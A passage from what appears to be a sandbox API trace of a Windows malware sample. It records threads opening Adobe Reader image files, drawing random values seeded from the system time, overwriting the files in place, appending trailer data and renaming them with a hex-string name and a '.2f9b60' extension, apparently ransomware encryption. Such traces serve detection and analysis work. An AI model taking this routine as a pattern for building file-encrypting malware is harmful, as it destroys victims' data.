RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7010 [0242.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7010) returned 1 [0242.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62640) returned 1 [0242.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x431f9960 [0242.097] sprintf (in: _Dest=0x431f9960, _Format="%c%c" | out: _Dest="2b") returned 2 [0242.097] sprintf (in: _Dest=0x431f9962, _Format="%c%c" | out: _Dest="4a") returned 2 [0242.097] sprintf (in: _Dest=0x431f9964, _Format="%c%c" | out: _Dest="73") returned 2 [0242.097] sprintf (in: _Dest=0x431f9966, _Format="%c%c" | out: _Dest="8f") returned 2 [0242.097] sprintf (in: _Dest=0x431f9968, _Format="%c%c" | out: _Dest="6c") returned 2 [0242.097] sprintf (in: _Dest=0x431f996a, _Format="%c%c" | out: _Dest="dd") returned 2 [0242.097] sprintf (in: _Dest=0x431f996c, _Format="%c%c" | out: _Dest="fe") returned 2 [0242.097] sprintf (in: _Dest=0x431f996e, _Format="%c%c" | out: _Dest="5e") returned 2 [0242.097] sprintf (in: _Dest=0x431f9970, _Format="%c%c" | out: _Dest="63") returned 2 [0242.097] sprintf (in: _Dest=0x431f9972, _Format="%c%c" | out: _Dest="a8") returned 2 [0242.097] sprintf (in: _Dest=0x431f9974, _Format="%c%c" | out: _Dest="fb") returned 2 [0242.097] sprintf (in: _Dest=0x431f9976, _Format="%c%c" | out: _Dest="48") returned 2 [0242.097] sprintf (in: _Dest=0x431f9978, _Format="%c%c" | out: _Dest="fa") returned 2 [0242.097] sprintf (in: _Dest=0x431f997a, _Format="%c%c" | out: _Dest="7e") returned 2 [0242.097] sprintf (in: _Dest=0x431f997c, _Format="%c%c" | out: _Dest="9b") returned 2 [0242.097] sprintf (in: _Dest=0x431f997e, _Format="%c%c" | out: _Dest="d0") returned 2 [0242.097] sprintf (in: _Dest=0x431f9980, _Format="%c%c" | out: _Dest="40") returned 2 [0242.097] sprintf (in: _Dest=0x431f9982, _Format="%c%c" | out: _Dest="fb") returned 2 [0242.097] sprintf (in: _Dest=0x431f9984, _Format="%c%c" | out: _Dest="cd") returned 2 [0242.097] sprintf (in: _Dest=0x431f9986, _Format="%c%c" | out: _Dest="b3") returned 2 [0242.097] sprintf (in: _Dest=0x431f9988, _Format="%c%c" | out: _Dest="46") returned 2 [0242.097] sprintf (in: _Dest=0x431f998a, _Format="%c%c" | out: _Dest="66") returned 2 [0242.097] sprintf (in: _Dest=0x431f998c, _Format="%c%c" | out: _Dest="f8") returned 2 [0242.097] sprintf (in: _Dest=0x431f998e, _Format="%c%c" | out: _Dest="79") returned 2 [0242.097] sprintf (in: _Dest=0x431f9990, _Format="%c%c" | out: _Dest="3c") returned 2 [0242.097] sprintf (in: _Dest=0x431f9992, _Format="%c%c" | out: _Dest="6f") returned 2 [0242.098] sprintf (in: _Dest=0x431f9994, _Format="%c%c" | out: _Dest="d6") returned 2 [0242.098] sprintf (in: _Dest=0x431f9996, _Format="%c%c" | out: _Dest="1b") returned 2 [0242.098] sprintf (in: _Dest=0x431f9998, _Format="%c%c" | out: _Dest="c4") returned 2 [0242.098] sprintf (in: _Dest=0x431f999a, _Format="%c%c" | out: _Dest="ef") returned 2 [0242.098] sprintf (in: _Dest=0x431f999c, _Format="%c%c" | out: _Dest="c3") returned 2 [0242.098] sprintf (in: _Dest=0x431f999e, _Format="%c%c" | out: _Dest="a5") returned 2 [0242.098] sprintf (in: _Dest=0x431f99a0, _Format="%c%c" | out: _Dest="6b") returned 2 [0242.098] sprintf (in: _Dest=0x431f99a2, _Format="%c%c" | out: _Dest="ce") returned 2 [0242.098] sprintf (in: _Dest=0x431f99a4, _Format="%c%c" | out: _Dest="cb") returned 2 [0242.098] sprintf (in: _Dest=0x431f99a6, _Format="%c%c" | out: _Dest="f9") returned 2 [0242.098] sprintf (in: _Dest=0x431f99a8, _Format="%c%c" | out: _Dest="a6") returned 2 [0242.098] sprintf (in: _Dest=0x431f99aa, _Format="%c%c" | out: _Dest="88") returned 2 [0242.098] sprintf (in: _Dest=0x431f99ac, _Format="%c%c" | out: _Dest="07") returned 2 [0242.098] sprintf (in: _Dest=0x431f99ae, _Format="%c%c" | out: _Dest="81") returned 2 [0242.098] sprintf (in: _Dest=0x431f99b0, _Format="%c%c" | out: _Dest="af") returned 2 [0242.098] sprintf (in: _Dest=0x431f99b2, _Format="%c%c" | out: _Dest="a7") returned 2 [0242.098] RtlInitAnsiString (in: DestinationString=0x383afe68, SourceString="2b4a738f6cddfe5e63a8fb48fa7e9bd040fbcdb34666f8793c6fd61bc4efc3a56bcecbf9a6880781afa7" | out: DestinationString="2b4a738f6cddfe5e63a8fb48fa7e9bd040fbcdb34666f8793c6fd61bc4efc3a56bcecbf9a6880781afa7") [0242.098] RtlAnsiStringToUnicodeString (in: DestinationString=0x383afe38, SourceString="2b4a738f6cddfe5e63a8fb48fa7e9bd040fbcdb34666f8793c6fd61bc4efc3a56bcecbf9a6880781afa7", AllocateDestinationString=1 | out: DestinationString="2b4a738f6cddfe5e63a8fb48fa7e9bd040fbcdb34666f8793c6fd61bc4efc3a56bcecbf9a6880781afa7") returned 0x0 [0242.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x43111620 [0242.099] wcscat (in: _Dest=0x43111ce0, _Source="2b4a738f6cddfe5e63a8f" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\2b4a738f6cddfe5e63a8f") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\2b4a738f6cddfe5e63a8f" [0242.099] wcscat (in: _Dest=0x43111ce0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\2b4a738f6cddfe5e63a8f.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\2b4a738f6cddfe5e63a8f.2f9b60" [0242.099] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\2b4a738f6cddfe5e63a8f.2f9b60", NtPathName=0x383afe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\2b4a738f6cddfe5e63a8f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x430fc8c0 Thread: id = 3905 os_tid = 0x12e0 [0229.976] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_received.gif")) returned 0x20 [0230.886] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif", dwFileAttributes=0x20) returned 1 [0231.041] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_received.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3298 [0231.057] GetFileSizeEx (in: hFile=0x3298, lpFileSize=0x3b8afb00 | out: lpFileSize=0x3b8afb00*=615) returned 1 [0231.057] SetFilePointerEx (in: hFile=0x3298, liDistanceToMove=0x263, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.058] ReadFile (in: hFile=0x3298, lpBuffer=0x3b8afa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b8afac8, lpOverlapped=0x0 | out: lpBuffer=0x3b8afa80*, lpNumberOfBytesRead=0x3b8afac8*=0x4, lpOverlapped=0x0) returned 1 [0231.100] SetFilePointerEx (in: hFile=0x3298, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8610e0 [0231.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b10 [0231.101] NtQuerySystemTime (in: CurrentTime=0x3b8af9c0 | out: CurrentTime=0x3b8af9c0*=132462178350994000) returned 0x0 [0231.101] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x2b64c20c [0231.101] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x16078edb [0231.101] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x16dfb7be [0231.101] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x54ddea76 [0231.101] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x3335aff0 [0231.101] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x46425d82 [0231.101] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x1ad85892 [0231.101] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x6b859b99 [0231.101] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x547b9e24 [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x68dcc22a [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x3c720a0a [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0xcb563f8 [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x43eef61 [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x49afd00a [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x76c3968c [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x3174e566 [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x1c106ec9 [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x68dcc22a [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x4305a7d2 [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x40001ace [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x72ea5ae5 [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x48f02bb2 [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x5fa6faca [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0xe7ab10a [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x534814c8 [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x13782729 [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x4f8a8e58 [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x2b77a183 [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x60a7e33d [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x43eef61 [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0x709b0ef2 [0231.102] RtlRandomEx (in: Seed=0x3b8af9b0 | out: Seed=0x3b8af9b0) returned 0xf556c96 [0231.108] ReadFile (in: hFile=0x3298, lpBuffer=0x420f79e0, nNumberOfBytesToRead=0x267, lpNumberOfBytesRead=0x3b8af9b0, lpOverlapped=0x0 | out: lpBuffer=0x420f79e0*, lpNumberOfBytesRead=0x3b8af9b0*=0x267, lpOverlapped=0x0) returned 1 [0231.108] SetFilePointerEx (in: hFile=0x3298, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.108] WriteFile (in: hFile=0x3298, lpBuffer=0x420e4d90*, nNumberOfBytesToWrite=0x267, lpNumberOfBytesWritten=0x3b8af9b4, lpOverlapped=0x0 | out: lpBuffer=0x420e4d90*, lpNumberOfBytesWritten=0x3b8af9b4*=0x267, lpOverlapped=0x0) returned 1 [0239.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bfb0 [0239.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c0a0 [0239.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c0a0) returned 1 [0239.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420e4d90) returned 1 [0239.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420f79e0) returned 1 [0239.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866a40) returned 1 [0239.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058380) returned 1 [0239.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431add20 [0239.273] SetFilePointerEx (in: hFile=0x3298, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.273] WriteFile (in: hFile=0x3298, lpBuffer=0x42c14870*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3b8afad0, lpOverlapped=0x0 | out: lpBuffer=0x42c14870*, lpNumberOfBytesWritten=0x3b8afad0*=0x116, lpOverlapped=0x0) returned 1 [0242.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ba0 [0242.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe20 [0242.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe20) returned 1 [0242.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85fe20 [0242.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fdf0 [0242.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b10 [0242.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860b10) returned 1 [0242.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ba0) returned 1 [0242.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x431f9960 [0242.149] sprintf (in: _Dest=0x431f9960, _Format="%c%c" | out: _Dest="57") returned 2 [0242.149] sprintf (in: _Dest=0x431f9962, _Format="%c%c" | out: _Dest="e9") returned 2 [0242.149] sprintf (in: _Dest=0x431f9964, _Format="%c%c" | out: _Dest="2f") returned 2 [0242.149] sprintf (in: _Dest=0x431f9966, _Format="%c%c" | out: _Dest="50") returned 2 [0242.149] sprintf (in: _Dest=0x431f9968, _Format="%c%c" | out: _Dest="73") returned 2 [0242.149] sprintf (in: _Dest=0x431f996a, _Format="%c%c" | out: _Dest="76") returned 2 [0242.149] sprintf (in: _Dest=0x431f996c, _Format="%c%c" | out: _Dest="c7") returned 2 [0242.149] sprintf (in: _Dest=0x431f996e, _Format="%c%c" | out: _Dest="a4") returned 2 [0242.149] sprintf (in: _Dest=0x431f9970, _Format="%c%c" | out: _Dest="3d") returned 2 [0242.149] sprintf (in: _Dest=0x431f9972, _Format="%c%c" | out: _Dest="7b") returned 2 [0242.149] sprintf (in: _Dest=0x431f9974, _Format="%c%c" | out: _Dest="7d") returned 2 [0242.149] sprintf (in: _Dest=0x431f9976, _Format="%c%c" | out: _Dest="ab") returned 2 [0242.149] sprintf (in: _Dest=0x431f9978, _Format="%c%c" | out: _Dest="5d") returned 2 [0242.150] sprintf (in: _Dest=0x431f997a, _Format="%c%c" | out: _Dest="81") returned 2 [0242.150] sprintf (in: _Dest=0x431f997c, _Format="%c%c" | out: _Dest="3d") returned 2 [0242.150] sprintf (in: _Dest=0x431f997e, _Format="%c%c" | out: _Dest="b7") returned 2 [0242.150] sprintf (in: _Dest=0x431f9980, _Format="%c%c" | out: _Dest="ca") returned 2 [0242.150] sprintf (in: _Dest=0x431f9982, _Format="%c%c" | out: _Dest="74") returned 2 [0242.150] sprintf (in: _Dest=0x431f9984, _Format="%c%c" | out: _Dest="c6") returned 2 [0242.150] sprintf (in: _Dest=0x431f9986, _Format="%c%c" | out: _Dest="c8") returned 2 [0242.150] sprintf (in: _Dest=0x431f9988, _Format="%c%c" | out: _Dest="94") returned 2 [0242.150] sprintf (in: _Dest=0x431f998a, _Format="%c%c" | out: _Dest="42") returned 2 [0242.150] sprintf (in: _Dest=0x431f998c, _Format="%c%c" | out: _Dest="f6") returned 2 [0242.150] sprintf (in: _Dest=0x431f998e, _Format="%c%c" | out: _Dest="65") returned 2 [0242.150] sprintf (in: _Dest=0x431f9990, _Format="%c%c" | out: _Dest="0c") returned 2 [0242.150] sprintf (in: _Dest=0x431f9992, _Format="%c%c" | out: _Dest="79") returned 2 [0242.150] sprintf (in: _Dest=0x431f9994, _Format="%c%c" | out: _Dest="86") returned 2 [0242.150] sprintf (in: _Dest=0x431f9996, _Format="%c%c" | out: _Dest="a5") returned 2 [0242.150] sprintf (in: _Dest=0x431f9998, _Format="%c%c" | out: _Dest="2d") returned 2 [0242.150] sprintf (in: _Dest=0x431f999a, _Format="%c%c" | out: _Dest="31") returned 2 [0242.150] sprintf (in: _Dest=0x431f999c, _Format="%c%c" | out: _Dest="a2") returned 2 [0242.150] sprintf (in: _Dest=0x431f999e, _Format="%c%c" | out: _Dest="01") returned 2 [0242.150] sprintf (in: _Dest=0x431f99a0, _Format="%c%c" | out: _Dest="24") returned 2 [0242.150] sprintf (in: _Dest=0x431f99a2, _Format="%c%c" | out: _Dest="df") returned 2 [0242.150] sprintf (in: _Dest=0x431f99a4, _Format="%c%c" | out: _Dest="9f") returned 2 [0242.150] sprintf (in: _Dest=0x431f99a6, _Format="%c%c" | out: _Dest="18") returned 2 [0242.150] RtlInitAnsiString (in: DestinationString=0x3b8afb48, SourceString="57e92f507376c7a43d7b7dab5d813db7ca74c6c89442f6650c7986a52d31a20124df9f18" | out: DestinationString="57e92f507376c7a43d7b7dab5d813db7ca74c6c89442f6650c7986a52d31a20124df9f18") [0242.150] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b8afb18, SourceString="57e92f507376c7a43d7b7dab5d813db7ca74c6c89442f6650c7986a52d31a20124df9f18", AllocateDestinationString=1 | out: DestinationString="57e92f507376c7a43d7b7dab5d813db7ca74c6c89442f6650c7986a52d31a20124df9f18") returned 0x0 [0242.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x43196fe0 [0242.151] wcscat (in: _Dest=0x43145170, _Source="57e92f507376c7a43d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\57e92f507376c7a43d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\57e92f507376c7a43d" [0242.151] wcscat (in: _Dest=0x43145170, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\57e92f507376c7a43d.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\57e92f507376c7a43d.2f9b60" [0242.151] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\57e92f507376c7a43d.2f9b60", NtPathName=0x3b8afaf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\57e92f507376c7a43d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x430fd420 Thread: id = 3906 os_tid = 0x131c [0229.977] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_super.gif")) returned 0x20 [0230.886] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif", dwFileAttributes=0x20) returned 1 [0231.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_super.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x32a4 [0231.059] GetFileSizeEx (in: hFile=0x32a4, lpFileSize=0x3b42fa20 | out: lpFileSize=0x3b42fa20*=552) returned 1 [0231.059] SetFilePointerEx (in: hFile=0x32a4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.059] ReadFile (in: hFile=0x32a4, lpBuffer=0x3b42f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b42f9e8, lpOverlapped=0x0 | out: lpBuffer=0x3b42f9a0*, lpNumberOfBytesRead=0x3b42f9e8*=0x4, lpOverlapped=0x0) returned 1 [0231.060] SetFilePointerEx (in: hFile=0x32a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0231.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0231.064] NtQuerySystemTime (in: CurrentTime=0x3b42f8e0 | out: CurrentTime=0x3b42f8e0*=132462178350526000) returned 0x0 [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x25cfb639 [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x24e8e86b [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0xf0b96a2 [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x97de304 [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0xcbd83c [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x464759da [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x5c7de91 [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x712f685d [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0xe7ab10a [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x4dee2857 [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x47c189dd [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0xdd638cf [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x76e0506a [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x36c62bc5 [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x74644e2f [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x6d71795a [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x4283515e [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x24119411 [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x2292b8d6 [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x263f69db [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x3815a0d1 [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x680058ef [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x62b83eba [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x50a6b3c0 [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x1a61925b [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x127a3f64 [0231.064] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x24ee89a8 [0231.065] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x5bacfcd4 [0231.065] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x4b83e404 [0231.065] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x6cff5223 [0231.065] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x50f814c [0231.065] RtlRandomEx (in: Seed=0x3b42f8d0 | out: Seed=0x3b42f8d0) returned 0x57652fbc [0231.072] ReadFile (in: hFile=0x32a4, lpBuffer=0x42073100, nNumberOfBytesToRead=0x228, lpNumberOfBytesRead=0x3b42f8d0, lpOverlapped=0x0 | out: lpBuffer=0x42073100*, lpNumberOfBytesRead=0x3b42f8d0*=0x228, lpOverlapped=0x0) returned 1 [0231.072] SetFilePointerEx (in: hFile=0x32a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.073] WriteFile (in: hFile=0x32a4, lpBuffer=0x42490190*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x3b42f8d4, lpOverlapped=0x0 | out: lpBuffer=0x42490190*, lpNumberOfBytesWritten=0x3b42f8d4*=0x228, lpOverlapped=0x0) returned 1 [0239.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134d80 [0239.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134c30 [0239.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134c30) returned 1 [0239.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42490190) returned 1 [0239.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42073100) returned 1 [0239.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0239.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059000) returned 1 [0239.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x431ac920 [0239.308] SetFilePointerEx (in: hFile=0x32a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.308] WriteFile (in: hFile=0x32a4, lpBuffer=0x42c14ab0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3b42f9f0, lpOverlapped=0x0 | out: lpBuffer=0x42c14ab0*, lpNumberOfBytesWritten=0x3b42f9f0*=0x110, lpOverlapped=0x0) returned 1 [0242.190] RtlAllocateHeap (HeapHandle=0xa0000, 